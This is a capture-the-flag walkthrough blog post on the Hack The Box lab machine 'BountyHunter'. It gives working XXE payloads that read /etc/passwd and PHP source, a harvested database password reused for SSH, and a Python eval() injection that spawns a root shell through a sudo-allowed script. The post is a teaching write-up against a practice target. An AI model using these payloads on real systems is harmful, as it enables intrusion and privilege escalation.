top of page
Post: Blog2 Post
  • Writer's pictureVosman

BountyHunter

A nice easy little box. With XML Entity Injection attack to gain the initial foothold on the box and little bit of Python script abuse to escalate to root, this box is ideal for anyone looking for a quick challenge or for newer people to learn something new. Let's dive in and see how it's done.


Enumeration

NMAP

# Nmap 7.91 scan initiated Sat Aug 21 20:48:05 2021 as: nmap -sCV -v -n -oA nmap/nmap_Initial 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 21 20:48:13 2021 -- 1 IP address (1 host up) scanned in 7.79 seconds

OK, two ports open:

22 - SSH: Probably not going to use this right now but does let us know this is a Linux Ubuntu box.

80 - HTTP: Looks like this will be where we start on this box. We also know it's an Apache web server too.


I'll also run a full TCP port scan too, just in case.

# Nmap 7.91 scan initiated Sat Aug 21 20:52:09 2021 as: nmap -p- -v -n -oA nmap/nmap_FullTCP 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.026s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Aug 21 20:52:24 2021 -- 1 IP address (1 host up) scanned in 14.59 seconds

Nope, nothing else to find here. If there's nothing to find on the web server I may also run a UDP scan too but I doubt that will be needed for this box.


Web Server - Port 80

So the "About" and "Contact Us" links only go to ID's on the main page however looking at the hovering over the "Portal" menu item we can see it goes to portal.php. This is useful to know as we can do some extra enumeration and search for .php extensions too.


Let's get a GoBuster going and then go look at the "Portal" page.


GoBuster

gobuster dir -u http://10.10.11.100 -w /usr/share/SecLists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster_root

===============================================================                                               
Gobuster v3.1.0                                                                                                                                                       by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                                                         ===============================================================                                                                                                        [+] Url:                     http://10.10.11.100/                                                                                                                      [+] Method:                  GET                                                                                                                                        [+] Threads:                 10                                                                                                                                        [+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/raft-small-words.txt                   
[+] Negative Status codes:   404                                                                                                                                  
[+] User Agent:              gobuster/3.1.0                                                                                                                          
[+] Extensions:              php                                                                                                                                      
[+] Timeout:                 10s                                                                                                                                      
===============================================================                                                                                                      
2021/08/21 20:59:29 Starting gobuster in directory enumeration mode                                                                                                  
===============================================================                                                                                                      
/.html                (Status: 403) [Size: 277]                                                                                                                      
/.php                 (Status: 403) [Size: 277]                                                                                                                      
/.html.php            (Status: 403) [Size: 277]                                                                                                                     
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]                                                                                        
/index.php            (Status: 200) [Size: 25169]                                                                                                                    
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]                                                                                        
/.htm                 (Status: 403) [Size: 277]                                                                                                                      
/.htm.php             (Status: 403) [Size: 277]                                                                                                                      
/db.php               (Status: 200) [Size: 0]                                        
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]    
/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/] 
/.                    (Status: 200) [Size: 25169]                                    
/portal.php           (Status: 200) [Size: 125]

db.php stands out here as a zero length file. As it's a .php file it probably has PHP code in the file but that isn't presented here as PHP code is processed before the page is rendered in the browser or web request. Let's keep this in the back of our mind for now as this may become a target for us once we have access to the box.


Most of the other directories are redirected and forbidden so we can't easily get into those but they may not contain anything we need anyway as the titles suggest things like JavaScript, CSS, and Assets which are usually images.


/resources

OK this just provides a link to another page log_submit.php:

Let's give it a quick test and see what happens in the page:

OK, so it just returns what we enter into the fields. This might be interesting as anytime you process user input and return it to the user there is potential for abuse. We'll give this a very quick test to see if there's anything unusual or abusable:

+ SQL Injection: '- -- - Nope that was returned no problem

+ Special Characters: `!"£$%^&*()_-+={}[]'@~#/?,.> - Nothing seemed to do anything apart from < this did seem to break the output.


Getting User

Well we've tried a few things that might cause issues but they aren't working so it's time to look under the hood a little more. Let's fire up BurpSuite and take a closer look at the requests and responses.


portal.php redirected us to log_submit.php, so let's take a look at the source code of this page:

<html>
	<head>
		<script src="/resources/jquery.min.js"></script>
		<script src="/resources/bountylog.js"></script>
	</head>
	<center>
		<h1>Bounty Report System - Beta</h1>
		<input type="text" id = "exploitTitle" name="exploitTitle" placeholder="Exploit Title">
		<br>
		<input type="text" id = "cwe" name="cwe" placeholder="CWE">
		<br>
		<input type="text" id = "cvss" name="exploitCVSS" placeholder="CVSS Score">
		<br>
		<input type="text" id = "reward" name="bountyReward" placeholder="Bounty Reward ($)">
		<br>
		<input type="submit" onclick = "bountySubmit()" value="Submit" name="submit">
		<br>
		<p id = "return"></p>
	<center>
</html>

Two bits to notice on here:

1. When the submit button is is clicked the bountySubmit() function is called

2. There are two JavaScript scripts called on this page jquer.min.js (probably not that interesting to us unless it's vulnerable in some way) and bountylog.js


JavaScript files can nearly always be viewed in the browser so we can go take a look at bountylog.js and see what it does:

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

Interesting, there's a few things here that catch my eye. The first thing without even trying to read the code is the <?xml version="1.0" encoding="ISO-8859-1"?> section in the bountySubmit() function. As soon as you see this your brain should immediately spring to the possibility of XML Entity Injection attacks (also known as XXE attacks). These kind of web application attacks are surprisingly quite common and are in the OWASP top 10 of vulnerabilities. If you want to read more about them you can take a look at https://owasp.org/. With an XXE attack we can pull files from the server itself and display them in our browser. Not only does that mean we can view sensitive files such as the /etc/passwd file but also web server configuration files.


The other bits to spot here is that these functions together take the user input, insert it into the relevant fields, converts everything to base64 with the btoa() method and POST's that to tracker_diRbPr00f314.php. The tracker PHP file probably decodes the base64 blob of data and drops the user input back into the relevant HTML elements and returns that to the browser so we can see it as shown in the screenshot above.


So, if we can intercept the data submission to the tracker_diRbPr00f314.php file we might be able to inject an XML entity into it and get the results displayed back to us. First let's intercept the data submission in BurpSuite:

As expected the data has been encoded to Base64 but, also notice the last two characters have been URL encoded also. %3D is the URL encoding for the equals (=) character. This probably means that any other special characters will also be URL encoded within the Base64 string such as (+) and (/). OK, let's send this to the Repeater functionality with Burp with the ctrl+r hotkeys and then switch to Repeater with the shift+ctrl+r hotkey shortcut. OK, now we have this ready in Repeater, lets go and get our XXE payload ready. The way I'm going to do this is copy the data blob in the POST request we just intercepted and paste it into the Decoder function in BurpSuite:

Now we have the data blob decoded, we can edit it. We can do that in BurpSuite here in the decoder directly but to keep a record of what we've done let's copy it and paste it into our notes or a separate file. Up to you how you keep track of what you're doing but here is the original data blob:

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>test</title>
		<cwe>Vosnet</cwe>
		<cvss>Vosman</cvss>
		<reward>100</reward>
		</bugreport>

Now let's amend it to incorporate our XXE payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY vos SYSTEM "file:///etc/passwd">]>
		<bugreport>
			<title>test</title>
			<cwe>cwe</cwe>
			<cvss>cvss</cvss>
			<reward>&vos;</reward>
		</bugreport>

What we're doing here is introducing an XML entity (vos) and assigning the value of that entity as a SYSTEM request to read the contents of a file we expect to be on the system. As this is a Linux Ubuntu box we can be fairly certain the /etc/passwd file will be there so we request this. This will be processed by the server and the contents of the targeted file will be stored in the vos entity. That entity is then called in the <reward> element. If this works we should get the /etc/passwd file contents displayed in the response.


Right, now we're ready to test this. So, let's paste our newly created payload back into Burp's Decoder, encode it as Base64 and then URL encode it:

Note: Although the entire string is now URL encoded, it shouldn't matter as we know it will be decoded back to Base64 and then decoded again after that. In fact, having the entire string URL encoded is safer for us as any special characters will be encoded and we don't run the risk of missing one and everything failing.


Let's update the data parameter in the saved request we have in Repeater and click send to see if this works:

Awesome! The contents of the web server's /etc/passwd file has been returned in the Reward element in the response. One thing to note when seeing this file is that there is only one user (aside from Root) on the box, Development. We know this because all users on a Linux box will start with the UID of 1000 and it is also has a login shell assigned to it /bin/bash and a home directory. We should keep this in mind as that will probably be the user we need to compromise to gain access to this box.


So far so good. We know we can get files from the server however, we are most likely making these requests as the www-data user and so we won't be able to get files from inside the Development user home directory (well, we're unlikely to be able to do that anyway) and we also don't know file names on the server to try and get.


As the www-data user we are definitely going to be able to pull files that are being presented on web-server. The most interesting files are going to be the .php files.


PHP stands for Hypertext Preprocessor, I don't know why it's called PHP but there you go. We can't see the PHP code that is contained within the PHP files as the code is processed by the server before being sent in a web response; hence the name. The reason these files are interesting is that the PHP code may have some sensitive information included but if we request a PHP file in the same way we requested the /etc/passwd file we probably won't get to see the PHP portion of the file. So, to try and get around this we can request the file and base64 encode it to prevent the processing of the PHP code within the files. The way we do this is with the php://filter/convert.base64-encode/resource= filter command.


Due to the simplicity of this web application and the fact the JavaScript code we examined earlier doesn't specify an absolute path to the tracker_diRbPr00f314.php file, we can assume the our XXE payload is being processed within the web root directory so we won't need to try and find the absolute path to the .php files we want to examine. If this wasn't the case we might be able to find out what the absolute path to the web root is from the /etc/apache2/site-available/000-default.conf file if it exists.

Now casting our minds back to the GoBuster enumeration we did, there was a file called db.php. This appeared to be an empty file because any PHP code that the file contains won't be returned in a web response, but, maybe it isn't as empty as it first appears...

OK, let's adjust our XML payload to encode the PHP file and see if our target file really is empty:

<?xml  version="1.0"?>
<!DOCTYPE foo [
<!ENTITY vos SYSTEM "php://filter/convert.base64-encode/resource=db.php">]>
		<bugreport>
			<title>test</title>
			<cwe>cwe</cwe>
			<cvss>cvss</cvss>
			<reward>&vos;</reward>
		</bugreport>

Now if you're using the latest versions of BurpSuite Pro you can adjust the payload in the Inspector pane and then apply the changes and resend the request. I'm not sure if this works in the Community Edition:




Once the data blob is highlighted change the text to be our new payload as shown and click 'Apply Changes'




Click send and we'll get a Base64 encoded blob in the web response. If we now highlight that, BurpSuite will decode it and show us the code as shown below:

Excellent! We have some credentials in the db.php file that originally appeared to be empty. let's make a note of them:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Note: If you don't have the latest versions of BurpSuite or the Inspector function is unavailable you'll need to encode the payload using Burp's Decoder to encode the payload as before and then manually decode the response again in Decoder to see the PHP code.


OK, we know there is no database exposed to us so we can't access this. We also know from the /etc/passwd file we managed to grab that there is no user on the box called "admin" however, if the creator of this database is reusing passwords then maybe we can use this password to login as the "Development" user via SSH. Let's give it a go:

Sweet! it worked, and now we have access to user.txt.


Getting Root

One of the first commands I like to run when I get onto a Linux box is sudo -l to list any commands that we can run with sudo:

Interesting... we can run a Python script as root. Let's go check out what this script does nano /opt/skytrain_inc/ticketValidator.py, here is the code:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

So, a quick look through this script we can see the following:

1. This is a script to check a file (a ticket in this scenario) and it's contents

2. The file needs to have the extension .md (Markdown)

3. The first line of the .md file must start with "# Skytrain Inc"

4. The second line of the file must start with "## Ticket to "

5. The third line needs to be "__Ticket Code:__"

6. The fourth line needs to start with **


Looking a little deeper the interesting part of this file is the eval(x.replace("**", "")) because eval() can be very dangerous if what ends up in between the brackets can be manipulated by an attacker (us in this case :D). eval() will not only perform mathematical computations (which is what it is being used for here) it will also execute code. All we need to do is ensure the script gets to the eval() statement by passing all of the checks along the way and we can execute a code to spawn a shell. As this script will be run as root we should get a shell as root.


OK, so how do we do that? Well apart from the six items listed above, the following portion of the code needs to be worked on:

if code_line and i == code_line:
	if not x.startswith("**"):
		return False
	ticketCode = x.replace("**", "").split("+")[0]
		if int(ticketCode) % 7 == 4:
			validationNumber = eval(x.replace("**", ""))
            if validationNumber > 100:
            	return True
            else:
            	return False

Let's break this down:

1. ticketCode = x.replace("**", "").split("+")[0]

1. The value of the variable ticketCode will be line four of the file which has to start with **. These will be replaced with nothing, then the remaining string will be split into an array using the + character as a delimiter, then select the first value of the array [0]. So if line four of the file was **1+2+3+4 the script would first remove the *'s leaving 1+2+3+4, then break that up into an array split by the + characters [1,2,3,4]. Python always starts counting from 0, so the [0] will select the first value in the array which in this example is 1.

2. if int(ticketCode) % 7 == 4:

1. Next the script converts the value of ticketCode into an integer

2. % in Python performs the modulus mathematical function. This means it returns the remainder value of a division between two numbers. In this case it is the division of the value of ticketCode divided by 7. If the remainder of this sum equals 4 the script will move onto the next line, if not the check fails. In our example we have the value of 1 in the ticketCode variable: 1 divided by 7 does not go and so 1 modulus 7 would equal 1; not equaling 4 and then in this case, fails the check.

3. There are two easy ways we can pass this check:

A: We ensure the first number is in the string is 4, as this will be 4 modulus 7 = 4

B: Ensure the first number is 11 as 11 divided by 7 goes once leaving a remainder of 4.

3. validationNumber = eval(x.replace("**", ""))

1. This is the vulnerable portion of the code and now we are here after passing all of the checks we need to include some code to spawn a shell.

2. To do that we can simply append __import__('os').system('/bin/bash') to the end of the fourth line. This should be evaluated by the script and call os.system() to spawn a bash shell as the root user.


So, that all understood let's create our own ticket file. First let's move to RAM to keep from writing exploit files to disk, this is just good practice for when you're on a client engagement, it's not strictly necessary with a HTB machine but it keeps it in muscle memory so to speak. cd /dev/shm, nano gimmeShells.md:

# Skytrain Inc
## Ticket to VosTown
__Ticket Code:__
**4+1+__import__('os').system('/bin/bash')

Run the ticketValidator.py script sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py and pass it our exploit file:

We are now root and can read the root.txt file.


Job Done!

Vosman @vosNETCyber

Recent Posts

See All

Knife

Love

bottom of page